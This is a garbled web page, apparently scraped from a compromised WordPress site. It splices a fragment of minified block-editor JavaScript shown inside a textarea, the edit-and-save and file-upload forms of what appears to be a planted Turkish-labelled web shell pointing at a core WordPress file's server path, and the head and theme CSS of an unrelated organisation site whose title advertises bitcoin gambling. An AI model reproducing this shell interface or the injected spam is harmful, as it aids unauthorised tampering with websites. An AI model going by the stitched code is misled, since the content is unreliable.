consequences&quot;),checked:t,onChange:o}),(0,hs.jsxs)(la.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,hs.jsx)(la.Button,{variant:&quot;tertiary&quot;,onClick:s,__next40pxDefaultSize:!0,children:(0,r0.__)(&quot;Cancel&quot;)}),(0,hs.jsx)(la.Button,{variant:&quot;primary&quot;,onClick:h,disabled:m,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,r0.__)(&quot;Delete&quot;)})]})]})})}var n6=l(R(),1);var Dk=l(A(),1),Rme=l(R(),1),Vn=l(N(),1),uO=l(w(),1),Pme=[{value:&quot;fill&quot;,label:(0,Vn._x)(&quot;Fill&quot;,&quot;Scale option for dimensions control&quot;),help:(0,Vn.__)(&quot;Fill the space by stretching the content.&quot;)},{value:&quot;contain&quot;,label:(0,Vn._x)(&quot;Contain&quot;,&quot;Scale option for dimensions control&quot;),help:(0,Vn.__)(&quot;Fit the content to the space without clipping.&quot;)},{value:&quot;cover&quot;,label:(0,Vn._x)(&quot;Cover&quot;,&quot;Scale option for dimensions control&quot;),help:(0,Vn.__)(&quot;Fill the space by clipping what doesn&#039;t fit.&quot;)},{value:&quot;none&quot;,label:(0,Vn._x)(&quot;None&quot;,&quot;Scale option for dimensions control&quot;),help:(0,Vn.__)(&quot;Do not adjust the sizing of the content. Content that is too large will be clipped, and content that is too small will have additional padding.&quot;)},{value:&quot;scale-down&quot;,label:(0,Vn._x)(&quot;Scale down&quot;,&quot;Scale option for dimensions control&quot;),help:(0,Vn.__)(&quot;Scale down the content to fit the space if it is too big. Content that is too small will have additional padding.&quot;)}];function Ome({panelId:e,value:t,onChange:o,options:r=Pme,defaultValue:n=Pme[0].value,isShownByDefault:i=!0}){let s=t??&quot;fill&quot;,a=(0,Rme.useMemo)(()=&gt;r.reduce((c,u)=&gt;(c[u.value]=u.help,c),{}),[r]);return(0,uO.jsx)(Dk.__experimentalToolsPanelItem,{label:(0,Vn._x)(&quot;Scale&quot;,&quot;Image scaling options&quot;),isShownByDefault:i,hasValue:()=&gt;s!==n,onDeselect:()=&gt;o(n),panelId:e,children:(0,uO.jsx)(Dk.__experimentalToggleGroupControl,{label:(0,Vn._x)(&quot;Scale&quot;,&quot;Image scaling options&quot;),isBlock:!0,help:a[s],value:s,onChange:o,size:&quot;__unstable-large&quot;,children:r.map(c=&gt;(0,uO.jsx)(Dk.__experimentalToggleGroupControlOption,{...c},c.value))})})}var Vk=l(A(),1),wp=l(N(),1),Uc=l(w(),1);function Ame({panelId:e,value:t={},onChange:o=()=&gt;{},units:r,isShownByDefault:n=!0}){let i=t.width===&quot;auto&quot;?&quot;&quot;:t.width??&quot;&quot;,s=t.height===&quot;auto&quot;?&quot;&quot;:t.height??&quot;&quot;,a=c=&gt;u=&gt;{let d={...t};u?d[c]=u:delete d[c],o(d)};return(0,Uc.jsxs)(Uc.Fragment,{children:[(0,Uc.jsx)(Vk.__experimentalToolsPanelItem,{style:{gridColumn:&quot;span 1&quot;},label:(0,wp.__)(&quot;Width&quot;),isShownByDefault:n,hasValue:()=&gt;i!==&quot;&quot;,onDeselect:a(&quot;width&quot;),panelId:e,children:(0,Uc.jsx)(Vk.__experimentalUnitControl,{label:(0,wp.__)(&quot;Width&quot;),placeholder:(0,wp.__)(&quot;Auto&quot;),labelPosition:&quot;top&quot;,units:r,min:0,value:i,onChange:a(&quot;width&quot;),size:&quot;__unstable-large&quot;})}),(0,Uc.jsx)(Vk.__experimentalToolsPanelItem,{style:{gridColumn:&quot;span 1&quot;},label:(0,wp.__)(&quot;Height&quot;),isShownByDefault:n,hasValue:()=&gt;s!==&quot;&quot;,onDeselect:a(&quot;height&quot;),panelId:e,children:(0,Uc.jsx)(Vk.__experimentalUnitControl,{label:(0,wp.__)(&quot;Height&quot;),placeholder:(0,wp.__)(&quot;Auto&quot;),labelPosition:&quot;top&quot;,units:r,min:0,value:s,onChange:a(&quot;height&quot;),size:&quot;__unstable-large&quot;})})]})}var pf=l(w(),1);function cLe({panelId:e,value:t={},onChange:o=()=&gt;{},aspectRatioOptions:r,defaultAspectRatio:n=&quot;auto&quot;,scaleOptions:i,defaultScale:s=&quot;fill&quot;,unitsOptions:a,tools:c=[&quot;aspectRatio&quot;,&quot;widthHeight&quot;,&quot;scale&quot;]}){let u=t.width===void 0||t.width===&quot;auto&quot;?null:t.width,d=t.height===void 0||t.height===&quot;auto&quot;?null:t.height,f=t.aspectRatio===void 0||t.aspectRatio===&quot;auto&quot;?null:t.aspectRatio,m=t.scale===void 0||t.scale===&quot;fill&quot;?null:t.scale,[h,p]=(0,n6.useState)(m),[g,b]=(0,n6.useState)(f),v=u&amp;&amp;d?&quot;custom&quot;:g,k=f||u&amp;&amp;d;return(0,pf.jsxs)(pf.Fragment,{children:[c.includes(&quot;aspectRatio&quot;)&amp;&amp;(0,pf.jsx)(NP,{panelId:e,options:r,defaultValue:n,value:v,onChange:y=&gt;{let S={...t};y=y===&quot;auto&quot;?null:y,b(y),y?S.aspectRatio=y:delete S.aspectRatio,y?h?S.scale=h:(S.scale=s,p(s)):delete S.scale,y!==&quot;custom&quot;&amp;&amp;u&amp;&amp;d&amp;&amp;delete S.height,o(S)}}),c.includes(&quot;widthHeight&quot;)&amp;&amp;(0,pf.jsx)(Ame,{panelId:e,units:a,value:{width:u,height:d},onChange:({width:y,height:S})=&gt;{let x={...t};y=y===&quot;auto&quot;?null:y,S=S===&quot;auto&quot;?null:S,y?x.width=y:delete x.width,S?x.height=S:delete x.height,y&amp;&amp;S?delete x.aspectRatio:g&amp;&amp;(x.aspectRatio=g),!g&amp;&amp;!!y!=!!S?delete x.scale:h?x.scale=h:(x.scale=s,p(s)),o(x)}}),c.includes(&quot;scale&quot;)&amp;&amp;k&amp;&amp;(0,pf.jsx)(Ome,{panelId:e,options:i,defaultValue:s,value:h,onChange:y=&gt;{let S={...t};y=y===&quot;fill&quot;?null:y,p(y),y?S.scale=y:delete S.scale,o(S)}})]})}var Lme=cLe;var dO=l(A(),1),Hc=l(N(),1),i6=l(w(),1),Nme=[{label:(0,Hc._x)(&quot;Thumbnail&quot;,&quot;Image size option for resolution control&quot;),value:&quot;thumbnail&quot;},{label:(0,Hc._x)(&quot;Medium&quot;,&quot;Image size option for resolution control&quot;),value:&quot;medium&quot;},{label:(0,Hc._x)(&quot;Large&quot;,&quot;Image size option for resolution control&quot;),value:&quot;large&quot;},{label:(0,Hc._x)(&quot;Full Size&quot;,&quot;Image size option for resolution control&quot;),value:&quot;full&quot;}];function Mme({panelId:e,value:t,onChange:o,options:r=Nme,defaultValue:n=Nme[0].value,isShownByDefault:i=!0,resetAllFilter:s}){let a=t??n;return(0,i6.jsx)(dO.__experimentalToolsPanelItem,{hasValue:()=&gt;a!==n,label:(0,Hc.__)(&quot;Resolution&quot;),onDeselect:()=&gt;o(n),isShownByDefault:i,panelId:e,resetAllFilter:s,children:(0,i6.jsx)(dO.SelectControl,{label:(0,Hc.__)(&quot;Resolution&quot;),value:a,options:r,onChange:o,help:(0,Hc.__)(&quot;Select the size of the source image.&quot;),size:&quot;__unstable-large&quot;})})}var Cp=l(N(),1),Fk=l(A(),1),Vme=l(F(),1);var ca=l(N(),1),Dme={a:(0,ca.__)(&quot;The &lt;a&gt; element should be used for links that navigate to a different page or to a different section within the same page.&quot;),article:(0,ca.__)(&quot;The &lt;article&gt; element should represent a self-contained, syndicatable portion of the document.&quot;),aside:(0,ca.__)(&quot;The &lt;aside&gt; element should represent a portion of a document whose content is only indirectly related to the document&#039;s main content.&quot;),button:(0,ca.__)(&quot;The &lt;button&gt; element should be used for interactive controls that perform an action on the current page, such as opening a modal or toggling content visibility.&quot;),div:(0,ca.__)(&quot;The &lt;div&gt; element should only be used if the block is a design element with no semantic meaning.&quot;),footer:(0,ca.__)(&quot;The &lt;footer&gt; element should represent a footer for its nearest sectioning element (e.g.: &lt;section&gt;, &lt;article&gt;, &lt;main&gt; etc.).&quot;),header:(0,ca.__)(&quot;The &lt;header&gt; element should represent introductory content, typically a group of introductory or navigational aids.&quot;),main:(0,ca.__)(&quot;The &lt;main&gt; element should be used for the primary content of your document only.&quot;),nav:(0,ca.__)(&quot;The &lt;nav&gt; element should be used to identify groups of links that are intended to be used for website or page content navigation.&quot;),section:(0,ca.__)(&quot;The &lt;section&gt; element should represent a standalone portion of the document that can&#039;t be better represented by another element.&quot;)};var i0=l(w(),1);function Fme({tagName:e,onChange:t,clientId:o,options:r=[{label:(0,Cp.__)(&quot;Default (&lt;div&gt;)&quot;),value:&quot;div&quot;},{label:&quot;&lt;header&gt;&quot;,value:&quot;header&quot;},{label:&quot;&lt;main&gt;&quot;,value:&quot;main&quot;},{label:&quot;&lt;section&gt;&quot;,value:&quot;section&quot;},{label:&quot;&lt;article&gt;&quot;,value:&quot;article&quot;},{label:&quot;&lt;aside&gt;&quot;,value:&quot;aside&quot;},{label:&quot;&lt;footer&gt;&quot;,value:&quot;footer&quot;}]}){let n=!!o&amp;&amp;r.some(a=&gt;a.value===&quot;main&quot;),i=(0,Vme.useSelect)(a=&gt;{if(!n)return!1;let{getClientIdsWithDescendants:c,getBlockAttributes:u}=a(_);return c().some(d=&gt;d===o?!1:u(d)?.tagName===&quot;main&quot;)},[o,n]),s=r.map(a=&gt;a.value===&quot;main&quot;&amp;&amp;i&amp;&amp;e!==&quot;main&quot;?{...a,disabled:!0,label:(0,Cp.sprintf)((0,Cp.__)(&quot;%s (Already in use)&quot;),a.label)}:a);return(0,i0.jsxs)(Fk.__experimentalVStack,{spacing:2,className:&quot;block-editor-html-element-control&quot;,children:[(0,i0.jsx)(Fk.SelectControl,{__next40pxDefaultSize:!0,label:(0,Cp.__)(&quot;HTML element&quot;),options:s,value:e,onChange:t,help:Dme[e]}),e===&quot;main&quot;&amp;&amp;i&amp;&amp;(0,i0.jsx)(Fk.Notice,{status:&quot;warning&quot;,isDismissible:!1,children:(0,Cp.__)(&quot;Multiple &lt;main&gt; elements detected. The duplicate may be in your content or template. This is not valid HTML and may cause accessibility issues. Please change this HTML element.&quot;)})]})}var gs=l(A(),1),zk=l(R(),1),fO=l(N(),1);var Fn=l(A(),1);var zme=l(Fe(),1);var vi=l(w(),1),{Badge:uLe}=M(Fn.privateApis);function jme({title:e,url:t,image:o,badges:r}){return(0,vi.jsxs)(Fn.__experimentalHStack,{justify:&quot;space-between&quot;,alignment:&quot;top&quot;,children:[(0,vi.jsx)(Fn.FlexItem,{className:&quot;link-preview-button__content&quot;,children:(0,vi.jsxs)(Fn.__experimentalHStack,{alignment:&quot;top&quot;,children:[o&amp;&amp;(0,vi.jsx)(Fn.FlexItem,{className:&quot;link-preview-button__image-container&quot;,children:(0,vi.jsx)(&quot;img&quot;,{className:&quot;link-preview-button__image&quot;,src:o,alt:&quot;&quot;})}),(0,vi.jsxs)(Fn.__experimentalVStack,{className:&quot;link-preview-button__details&quot;,alignment:&quot;topLeft&quot;,children:[(0,vi.jsx)(Fn.__experimentalTruncate,{numberOfLines:1,className:&quot;link-preview-button__title&quot;,children:(0,zme.__unstableStripHTML)(e)}),t&amp;&amp;(0,vi.jsx)(Fn.__experimentalTruncate,{numberOfLines:1,className:&quot;link-preview-button__hint&quot;,children:t}),r&amp;&amp;r.length&gt;0&amp;&amp;(0,vi.jsx)(Fn.__experimentalHStack,{className:&quot;link-preview-button__badges&quot;,alignment:&quot;left&quot;,children:r.map(n=&gt;(0,vi.jsx)(uLe,{intent:n.intent,children:n.label},`${n.label}|${n.intent}`))})]})]})}),(0,vi.jsx)(we,{icon:zn,className:&quot;link-preview-button__icon&quot;})]})}var yi=l(w(),1);function s6({preview:e,onSelect:t,suggestionsQuery:o,label:r,help:n}){let[i,s]=(0,zk.useState)(!1),a=(0,zk.useId)(),c=`link-picker-title-${a}`,u=`link-picker-description-${a}`,d=(0,zk.useRef)(null),{baseControlProps:f,controlProps:m}=(0,gs.useBaseControlProps)({help:n}),h=p=&gt;{if(s(!1),p){let g={url:p.url,kind:p.kind,type:p.type,id:p.id,title:p.title};t(g)}};return(0,yi.jsxs)(gs.BaseControl,{...f,children:[(0,yi.jsx)(gs.BaseControl.VisualLabel,{children:r}),(0,yi.jsxs)(gs.Button,{ref:d,onClick:()=&gt;s(!i),&quot;aria-haspopup&quot;:&quot;dialog&quot;,&quot;aria-expanded&quot;:i,&quot;aria-describedby&quot;:m[&quot;aria-describedby&quot;],variant:&quot;secondary&quot;,__next40pxDefaultSize:!0,className:&quot;link-preview-button&quot;,children:[r&amp;&amp;(0,yi.jsxs)(gs.VisuallyHidden,{children:[r,&quot;:&quot;]}),(0,yi.jsx)(jme,{title:e.title||(0,fO.__)(&quot;Add link&quot;),url:e.url,image:e.image,badges:e.badges})]}),i&amp;&amp;(0,yi.jsx)(gs.Popover,{anchor:d.current,onClose:()=&gt;s(!1),placement:&quot;left-start&quot;,offset:36,shift:!0,children:(0,yi.jsxs)(&quot;div&quot;,{role:&quot;dialog&quot;,&quot;aria-labelledby&quot;:c,&quot;aria-describedby&quot;:u,children:[(0,yi.jsxs)(gs.VisuallyHidden,{children:[(0,yi.jsx)(&quot;h2&quot;,{id:c,children:(0,fO.__)(&quot;Select a link&quot;)}),(0,yi.jsx)(&quot;p&quot;,{id:u,children:(0,fO.__)(&quot;Search for and add a link to the navigation item.&quot;)})]}),(0,yi.jsx)(Pd,{value:null,onChange:h,suggestionsQuery:o,showInitialSuggestions:!0,forceIsEditingLink:!0,settings:[]})]})})]})}var a6={};T6(a6,{...WF,ExperimentalBlockCanvas:r3,BlockCanvasCover:xT,ExperimentalBlockEditorProvider:Ph,getDuotoneFilter:UR,getRichTextValues:Bme,PrivateQuickInserter:IB,extractWords:Yw,getNormalizedSearchTerms:Fv,normalizeString:Vv,PrivateListView:NS,ResizableBoxPopover:Tme,InspectorControlsLastItem:k2,useHasBlockToolbar:qE,cleanEmptyObject:Me,usePrivateStyleOverride:tc,BlockQuickNavigation:g2,LayoutStyle:pH,BlockManager:B2,BlockRemovalWarningModal:Ime,useLayoutClasses:YR,useLayoutStyles:Nz,DimensionsTool:Lme,ResolutionTool:Mme,TabbedSidebar:CB,TextAlignmentControl:PP,usesContextKey:vF,useFlashEditableBlocks:o1,HTMLElementControl:Fme,useZoomOut:Gy,globalStylesDataKey:xi,globalStylesLinksDataKey:y0,selectBlockPatternsKey:qc,requiresWrapperOnCopy:VD,PrivateRichText:r_,PrivateInserterLibrary:l4,reusableBlocksSelectKey:S0,PrivateBlockPopover:pm,PrivatePublishDateTimePicker:g4,useSpacingSizes:fP,useBlockDisplayTitle:zr,__unstableBlockStyleVariationOverridesWithConfig:UV,setBackgroundStyleDefaults:a2,sectionRootClientIdKey:Zc,CommentIconSlotFill:CE,CommentIconToolbarSlotFill:UE,mediaEditKey:_0,getMediaSelectKey:x0,deviceTypeKey:wi,isIsolatedEditorKey:Xc,isNavigationOverlayContextKey:w0,mediaUploadOnSuccessKey:C0,useBlockElement:Xe,useBlockElementRef:$f,LinkPicker:s6,useRemoteUrlData:MI,PrivateBlockContext:ur,useListViewPanelState:oO,isHashLink:gf,isRelativePath:bf});return qme(dLe);})();
/*! Bundled license information:

autosize/dist/autosize.js:
  (*!
  	autosize 4.0.2
  	license: MIT
  	http://www.jacklmoore.com/autosize
  *)

normalize-wheel/src/isEventSupported.js:
  (**
   * Checks if an event is supported in the current execution environment.
   *
   * NOTE: This will not work correctly for non-generic events such as `change`,
   * `reset`, `load`, `error`, and `select`.
   *
   * Borrows from Modernizr.
   *
   * @param {string} eventNameSuffix Event name, e.g. &quot;click&quot;.
   * @param {?boolean} capture Check if the capture phase is supported.
   * @return {boolean} True if the event is supported.
   * @internal
   * @license Modernizr 3.0.0pre (Custom Build) | MIT
   *)
*/
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/scs/wp-includes/js/dist/block-editor.min.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="https://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>BTC hrát: aplikace a mobilní průvodce | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fbtc-hrat-aplikace-a-mobilni-pruvodce%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fbtc-hrat-aplikace-a-mobilni-pruvodce%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d878b8e4cc*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content 